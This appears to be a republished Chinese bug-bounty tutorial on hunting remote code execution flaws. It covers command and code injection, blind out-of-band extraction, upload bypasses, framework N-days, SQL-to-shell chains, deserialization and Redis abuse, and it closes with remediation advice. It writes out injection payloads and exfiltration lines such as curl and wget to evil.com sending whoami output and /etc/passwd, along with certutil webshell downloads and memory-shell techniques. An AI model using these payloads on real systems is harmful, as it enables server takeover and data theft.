当前位置: 首页 > news >正文

【SRC】基础思路篇19:RCE远程代码执行漏洞挖掘完全指南

文章目录

    • 引言
    • 一、RCE漏洞概述
      • 1. RCE漏洞类型
      • 2. RCE漏洞危害
    • 二、命令注入漏洞挖掘
      • 1. 命令注入原理
      • 2. 命令注入点识别
      • 3. 命令注入测试方法
      • 4. 无回显数据外带
      • 5. 外网不通的应对
    • 三、代码注入漏洞挖掘
      • 1. 代码注入原理
      • 2. 异常输入测试
      • 3. 代码封装格式测试
      • 4. 延时测试验证
    • 四、文件上传导致RCE
      • 1. 文件上传RCE思路
      • 2. 上传绕过技巧
      • 3. UEditor编辑器案例
    • 五、框架漏洞与NDay利用
      • 1. 框架识别与历史漏洞
      • 2. JS文件分析发现隐藏接口
      • 3. 报错信息利用
      • 4. 已知漏洞利用技巧
    • 六、SQL注入到RCE
      • 1. DBA权限利用
      • 2. 组合攻击链
    • 七、反序列化漏洞
      • 1. 反序列化原理
      • 2. 测试思路
    • 八、其他RCE场景
      • 1. 读取功能中的命令注入
      • 2. 客户端RCE
      • 3. 登录口JNDI注入
      • 4. 未授权Redis利用
    • 九、实战测试流程
      • 标准测试流程
      • 测试注意事项
    • 十、漏洞危害评估
      • 1. 危害等级评定
      • 2. 影响危害等级的因素
    • 十一、修复建议
      • 1. 输入校验
      • 2. 避免危险函数
      • 3. 反序列化防护
      • 4. 框架与组件更新
      • 5. 权限控制
      • 6. 监控与告警
    • 十二、实战心得
      • 1. 报错信息是宝藏
      • 2. JS文件是宝藏
      • 3. 思路可以迁移
      • 4. 组合漏洞威力大
      • 5. 历史漏洞优先
      • 6. 框架识别很重要
      • 7. 无回显也有办法
      • 8. 内存马更隐蔽
      • 9. Windows与Linux差异
      • 10. 合规性优先
    • 十三、总结

⚠️本博文所涉安全渗透测试技术、方法及案例,仅用于网络安全技术研究与合规性交流,旨在提升读者的安全防护意识与技术能力。任何个人或组织在使用相关内容前,必须获得目标网络 / 系统所有者的明确且书面授权,严禁用于未经授权的网络探测、漏洞利用、数据获取等非法行为。

引言

RCE(Remote Code Execution,远程代码执行)是SRC漏洞挖掘中的"皇冠上的明珠",是危害等级最高的漏洞类型之一。RCE漏洞允许攻击者在目标服务器上执行任意代码,直接获取服务器控制权限。在SRC平台中,RCE漏洞通常被评定为"严重"等级,赏金丰厚。然而RCE漏洞的挖掘难度也最高,需要测试人员具备深厚的技术功底、敏锐的漏洞嗅觉和灵活的组合思维。本文将系统性地介绍RCE漏洞的挖掘思路、测试方法与实战技巧。


一、RCE漏洞概述

1. RCE漏洞类型

RCE漏洞根据成因可分为以下几类:

类型成因典型场景
命令注入用户输入拼接到系统命令os.system、exec调用
代码注入用户输入被动态执行eval、反射调用
反序列化反序列化数据触发代码执行Java、PHP、Python反序列化
文件上传上传可执行文件WebShell上传
框架漏洞已知框架漏洞利用Log4j、Fastjson、Shiro
模板注入模板引擎执行代码SSTI
JNDI注入JNDI引用加载恶意类Log4j、Fastjson

2. RCE漏洞危害

  • 完全控制服务器:执行任意命令,获取系统权限
  • 数据完全泄露:读取数据库、配置文件、源代码
  • 内网渗透入口:作为跳板进入内网横向移动
  • 持久化后门:写入WebShell、内存马维持访问
  • 业务瘫痪:篡改、删除业务数据

二、命令注入漏洞挖掘

1. 命令注入原理

命令注入是指用户输入被直接拼接到系统命令中执行,未做任何过滤或转义。

典型漏洞代码

defdoLogout(request):hData=request.GET spath=r'/tmpfile/loginfile/'+str(hData['token'])delfile="rm -rf %s"%(spath)os.system(delfile)# 直接拼接系统命令,无任何过滤!returnHttpResponse(0)

2. 命令注入点识别

高危函数清单

语言高危函数
Pythonos.systemos.popensubprocess.callevalexec
PHPsystemexecshell_execpassthruevalassert
JavaRuntime.execProcessBuilderScriptEngine.eval
Node.jschild_process.execevalFunction

3. 命令注入测试方法

a. 管道符注入测试

测试拼接管道符表达两个命令的承接关系:

token=1|whoami token=1&whoami token=1;whoami token=1||whoami token=1&&whoami

注意:实战中要将&URL编码为%26,防止被解析成参数分隔符。

b. 变量包裹测试

当管道符被过滤时,可使用变量包裹方式:

token=1$(whoami) token=111$(whoami) token=`whoami`

c. 延时测试确认

无回显时,通过延时确认命令执行:

token=1&sleep 10 token=1$(sleep 10)

观察响应时间,若稳定延时10秒,确认命令执行。

4. 无回显数据外带

当目标无法直接回显命令执行结果时,可采用以下外带方法:

a. DNSLog外带

ping`whoami`.dnslog.cncurlhttp://dnslog.cn/?data=$(whoami)

b. HTTP外带

curlhttp://evil.com/?data=$(whoami)wgethttp://evil.com/?data=$(cat/etc/passwd)

c. 时间盲注思路外带

借鉴SQL盲注思路,通过二分法逐字符爆破:

  • 如果第一位ASCII码大于某值则延时10秒
  • 否则立即返回
  • 通过二分法缩小范围,逐字符还原数据
token=1&if [ $(whoami | cut -c1) \> 'a' ]; then sleep 10; fi

5. 外网不通的应对

当目标服务器无法访问外网时:

  • 时间盲注:通过延时逐字符提取数据
  • 写文件读取:将命令执行结果写入Web目录,通过HTTP读取
  • 报错回显:构造错误让命令执行结果出现在错误信息中

三、代码注入漏洞挖掘

1. 代码注入原理

代码注入是指用户输入被动态解析执行,通常发生在使用eval、动态脚本引擎等场景。

2. 异常输入测试

测试思路:通过非常规字符输入,观察报错信息,寻找eval、script等关键字。

测试步骤

  1. 向参数输入特殊字符(如[{(
  2. 观察返回包中的错误提示
  3. 关注错误信息中的evalscriptExpression等关键字
  4. [报错但[]闭合后正常返回,暗示存在动态脚本解析

3. 代码封装格式测试

针对不同后端语言,使用对应的代码封装格式:

Java代码注入

[(function(){java.lang.Thread.sleep(5000);return+"1";})()]

Python代码注入

__import__('os').system('whoami')

PHP代码注入

system('whoami');

4. 延时测试验证

无回显时,使用语言对应的延时语句验证代码执行:

  • Java:Thread.sleep(5000)
  • Python:time.sleep(5)
  • PHP:sleep(5)

四、文件上传导致RCE

1. 文件上传RCE思路

文件上传是导致RCE的常见路径,通过上传WebShell获取服务器权限。

测试思路

  • 尝试请求体的每个文件名参数
  • 如果服务通过rename修改文件名为随机名称,则可能存在注入
  • 通过ping dnslog的方式验证文件名是否被命令执行
  • 关注文件内容是否被解析执行

2. 上传绕过技巧

后缀绕过

  • 黑名单绕过:.php5.phtml.phps.cer.asa
  • 白名单绕过:.jpg?.cer.php.jpg.php%00.jpg
  • 解析漏洞:IIS、Nginx、Apache解析特性

内容绕过

  • 图片马:GIF89a+ WebShell内容
  • 文件头伪造:修改文件Magic Number

3. UEditor编辑器案例

漏洞场景:UEditor编辑器的catchimage接口存在远程抓取图片功能。

漏洞思路

  • 接口仅校验远程资源后缀前缀,未截断URL伪后缀
  • 使用xxx.jpg?.cer这种问号截断伪后缀绕过白名单
  • IIS解析特性:.cer文件会被ASP.NET引擎解析执行脚本代码
  • 最终写入可执行WebShell

五、框架漏洞与NDay利用

1. 框架识别与历史漏洞

测试思路

  1. 识别目标使用的框架和组件
  2. 搜索框架的已知历史漏洞
  3. 验证漏洞是否可利用
  4. 通过已知漏洞实现RCE

常见框架漏洞

框架漏洞类型危害
Log4jJNDI注入RCE
Fastjson反序列化RCE
Shiro反序列化RCE
SpringSpEL注入RCE
JeecBootjmreport组件RCE
Django调试模式信息泄露
ThinkPHP代码执行RCE

2. JS文件分析发现隐藏接口

测试思路

  1. 当登录框等常规入口无突破点时,分析前端JS文件
  2. 翻JS文件寻找隐藏的后端接口地址
  3. 拼接路径,发现未公开的接口
  4. 识别框架后,查找历史漏洞

实战案例思路

  • 登录框无突破点 → JS文件分析 → 发现后端接口 → 路径拼接 → 发现jmreport组件 → 识别JeecBoot框架 → 利用历史RCE漏洞 → 注入内存马

3. 报错信息利用

测试思路

  1. 构造错误路径触发框架报错
  2. 从报错信息中提取接口列表、数据库配置、源代码片段
  3. 审计泄露的源代码,寻找命令注入点
  4. 利用os.system、eval等危险函数实现RCE

Django调试模式利用

  • DEBUG=True时泄露大量敏感信息
  • 可获取1000+接口列表
  • 可获取数据库用户名、端口等信息
  • 可获取部分源代码片段
  • 通过代码审计发现命令注入漏洞

4. 已知漏洞利用技巧

a. 命令长度限制绕过

当RCE漏洞存在命令长度限制时:

  • 使用bat文件分步执行
  • 通过certutil下载WebShell到本地
  • 再执行下载的WebShell

b. Windows环境利用

命令用途
echo xxx > file写入文件
certutil.exe -urlcache -split -f url下载文件
move file path移动文件
dir查看目录

注意:Windows路径使用反斜杠\,不是正斜杠/

c. 内存马技术

  • BCEL ClassLoader注入内存马,不易被发现
  • 先save注入payload,再show触发
  • 内存马比文件WebShell更隐蔽

六、SQL注入到RCE

1. DBA权限利用

当SQL注入点具有DBA权限时,可通过数据库函数执行系统命令。

SQL Server(MSSQL)

  • xp_cmdshell扩展存储过程执行系统命令
  • 需要SA权限
  • 注意:可能违规,需谨慎

MySQL

  • select 'xxx' into outfile 'xxx\shell.xx'写入WebShell
  • 需要FILE权限
  • 注意:可能违规,需谨慎

PostgreSQL

  • COPY ... TO PROGRAM执行系统命令

2. 组合攻击链

典型攻击链

SQL注入 → 获取管理员账号密码 → 后台登录 → 文件上传 → GetShell

实战思路

  1. 通过谷歌Hacking发现未授权访问的页面
  2. 测试参数注入点,确认SQL注入
  3. 使用sqlmap等工具获取数据库权限
  4. 提取管理员邮箱和密码
  5. 弱口令爆破获取后台访问权限
  6. 寻找文件上传点并绕过限制
  7. 上传WebShell获取服务器权限

七、反序列化漏洞

1. 反序列化原理

反序列化漏洞是指应用在反序列化用户可控数据时,触发恶意代码执行。

常见反序列化场景

  • Java:ObjectInputStream、Fastjson、Jackson、Gson
  • PHP:unserialize
  • Python:pickle
  • .NET:BinaryFormatter

2. 测试思路

a. 识别反序列化点

  • 关注Cookie、Session中的序列化数据
  • 关注API接口的序列化数据传输
  • 识别序列化数据格式(Java、PHP、Python等)

b. 构造利用链

  • 使用ysoserial(Java)、phpggc(PHP)等工具生成Payload
  • 根据目标环境选择合适的利用链
  • 通过DNSLog、延时等方式验证漏洞

c. 常见漏洞组件

  • Apache Commons Collections
  • Fastjson
  • Jackson
  • Shiro RememberMe
  • Log4j JNDI

八、其他RCE场景

1. 读取功能中的命令注入

场景:返回内容是JSON格式,可能是后端调用接口读取文件。

测试思路

  • 当后端通过命令读取文件时,可尝试命令注入
  • 通过dnslog注入验证命令执行

2. 客户端RCE

场景:客户端应用读取本地文件时未做安全处理。

测试思路

  • 构造恶意txt文件
  • 文件内容包含恶意代码
  • 客户端读取时触发代码执行

示例Payload

<imgsrc="1"onerror="eval(require('child_process').exec('calc.exe'))">

3. 登录口JNDI注入

场景:登录功能中存在JNDI注入点。

测试思路

  • 测试登录参数是否触发JNDI lookup
  • 构造恶意JNDI服务加载恶意类
  • 实现RCE

4. 未授权Redis利用

场景:Redis未授权访问。

测试思路

  • 检测Redis是否未授权访问
  • 通过Redis写入SSH公钥、WebShell
  • 通过Redis主从复制RCE

九、实战测试流程

标准测试流程

1. 信息收集:识别技术栈、框架、组件 ↓ 2. 接口发现:分析JS文件、扫描目录 ↓ 3. 历史漏洞搜索:查找框架已知漏洞 ↓ 4. 报错信息分析:触发报错获取信息 ↓ 5. 命令注入测试:管道符、变量包裹 ↓ 6. 代码注入测试:异常输入、延时验证 ↓ 7. 反序列化测试:识别序列化点 ↓ 8. 组合攻击:SQL注入+文件上传等 ↓ 9. 获取权限:WebShell、内存马

测试注意事项

  1. 遵守授权范围:RCE测试风险高,必须在授权范围内进行
  2. 不破坏系统:不执行破坏性命令,不删除、篡改数据
  3. 最小化操作:仅验证漏洞存在,不过度利用
  4. 及时清理:测试完成后清理WebShell、后门等
  5. 详细记录:完整记录测试过程,便于报告编写

十、漏洞危害评估

1. 危害等级评定

危害场景等级说明
直接RCE获取服务器权限严重完全控制服务器
需组合多个漏洞的RCE严重攻击链复杂但危害严重
仅限内网环境的RCE高危内网横向移动
需特定条件的RCE中高危视利用难度

2. 影响危害等级的因素

  • 利用难度:无需认证直接RCE危害最高
  • 权限范围:root/admin权限危害最高
  • 影响范围:影响整个集群/云平台危害最高
  • 数据敏感性:涉及核心业务数据危害最高

十一、修复建议

1. 输入校验

  • 对所有用户输入进行严格校验
  • 使用白名单机制限制输入字符
  • 禁止用户输入包含命令分隔符、特殊字符

2. 避免危险函数

  • 禁用os.systemevalexec等危险函数
  • 使用参数化命令执行(如subprocess的列表参数)
  • 不直接拼接用户输入到系统命令

3. 反序列化防护

  • 不反序列化用户可控数据
  • 使用白名单机制限制反序列化类
  • 升级反序列化组件到安全版本

4. 框架与组件更新

  • 及时更新框架和组件
  • 关注安全公告,修复已知漏洞
  • 移除不必要的功能和组件

5. 权限控制

  • Web服务运行在低权限用户下
  • 数据库账户使用最小权限
  • 禁用危险扩展存储过程

6. 监控与告警

  • 监控异常命令执行
  • 监控异常文件上传
  • 监控异常网络连接

十二、实战心得

1. 报错信息是宝藏

错误信息往往比正常返回更有价值。Django调试模式、Java堆栈信息、PHP错误提示都可能暴露接口列表、源代码、技术栈等关键信息。

2. JS文件是宝藏

后端接口地址、隐藏路径、API端点都可能隐藏在JS文件中。当常规测试无突破时,分析JS文件往往有意外收获。

3. 思路可以迁移

SQL盲注的思路可以迁移到命令注入上。时间盲注、二分法逐字符爆破等技巧在命令注入无回显时同样适用。

4. 组合漏洞威力大

单个漏洞可能无法直接利用,但通过组合(SQL注入 + 弱口令 + 文件上传,或信息泄露 + 框架漏洞 + 内存马)可实现完整攻击链。

5. 历史漏洞优先

发现目标使用已知框架后,优先搜索历史漏洞。已知漏洞利用难度低、成功率高,是RCE挖掘的高效路径。

6. 框架识别很重要

识别目标使用的框架、组件、版本后,可针对性测试已知漏洞,大幅提高RCE挖掘效率。

7. 无回显也有办法

即使命令执行无回显,也可通过DNSLog、HTTP外带、时间盲注等方式获取执行结果。不要因为没有回显就放弃。

8. 内存马更隐蔽

相比文件WebShell,内存马不留文件痕迹,不易被检测。但需注意内存马在服务重启后会失效。

9. Windows与Linux差异

测试时注意操作系统差异:Windows使用反斜杠路径、certutil下载;Linux使用正斜杠路径、curl/wget下载。

10. 合规性优先

RCE测试风险最高,必须严格遵守授权范围。不执行破坏性命令,不获取超出证明漏洞所需的权限和数据。


十三、总结

RCE漏洞是SRC漏洞挖掘的"终极目标",也是技术难度最高的漏洞类型。在SRC实战中:

  1. 信息收集要深:技术栈、框架、组件、接口、源代码都是RCE挖掘的线索
  2. 测试思路要广:命令注入、代码注入、反序列化、文件上传、框架漏洞多管齐下
  3. 组合利用要强:单个漏洞组合可形成完整攻击链
  4. 外带方法要多:DNSLog、HTTP外带、时间盲注等多种方式应对无回显场景
  5. 合规意识要强:严格遵守授权范围,不破坏目标系统

通过本文介绍的方法和思路,相信读者能建立起完整的RCE漏洞挖掘思维体系,在SRC实战中发现更多高质量的严重漏洞。

http://www.jsqmd.com/news/1326744/

相关文章:

  • 2025山东保鲜膜厂家推荐,水果膜厂家推荐怎么选不踩坑?揭秘行业4大套路与靠谱厂家推荐 - GEO99
  • 2026年天津知名的GEO优化公司盘点与深度解析实测篇
  • 从零构建桌面全能工具箱:Electron+Python插件化架构与本地AI集成实践
  • 让模糊变清晰:Waifu2x-Extension-GUI超分辨率工具全面指南
  • 公考证件照要求是什么?2026快快职业照+小小一寸照公考报名教程 - 科技大爆炸
  • 抖音评论批量采集终极指南:三步实现自动化数据提取
  • 5分钟解锁iPhone激活锁:applera1n免费工具终极指南
  • Plain Craft Launcher 2:重新定义Minecraft游戏管理的终极解决方案
  • 【单片机毕业设计】基于 STM32/51 单片机的环境光照采集智能照明硬件平台搭建多档位可调的单片机智能感应补光硬件控制系统设计 (023601)
  • JWT在现代API安全中的核心作用与实践指南
  • 数字化改造入职流程,可有效压降新人 60 天主动流失率
  • 2026国产线切割液冷镦油厂家推荐,五金成型加工配套油品供应 - 协睦石油
  • 深入解析Mach-O文件中的__stubs_helper节与延迟绑定机制
  • IPXWrapper终极指南:如何在Windows 10/11上复活经典游戏联机功能
  • 终极Riot游戏社交隐身指南:Deceive智能状态管理方案深度解析
  • 2025福建防雾膜厂家哪家好,食品级保鲜膜厂家哪家好 - GEO99
  • AI训练数据污染正在摧毁模型可信度——你的数据治理框架还缺这3个动态监控引擎
  • 5大功能全面提升:英雄联盟Akari助手让你的游戏效率翻倍
  • 东莞电源线工厂众多,生产厂家却面临这些发展困境?
  • 证件照尺寸大小是多少?2026快快职业照+小小一寸照标准全解析 - 科技大爆炸
  • EVA2格式文件解包工具:逆向工程与游戏资源提取实战指南
  • 本地大模型实测指南:从部署到性能对比,如何选择最适合你的AI助手
  • PSO与GIS结合的电动汽车充电站多目标选址优化
  • AI 白蚁监测仪 :可视化智能蚁害防控终端
  • 从FFmpeg到自动化:构建高可用游戏录播系统的工程实践
  • 呼和浩特幼年特发性关节炎保险拒赔 既往症、遗传性疾病与免责条款争议 - 云间寄笔
  • 最后37天!企鹅号AI内容扶持计划即将关闭:抓住流量红利末班车的6个不可逆动作
  • 51单片机电子琴与音乐播放器:从仿真到实物的嵌入式开发实践
  • 惠州代理记账怎么选才靠谱?金税四期合规标准+高频问题解答 - 商学家说评
  • 电力系统无功功率:电网稳定运行的“隐形守护者”与调控技术解析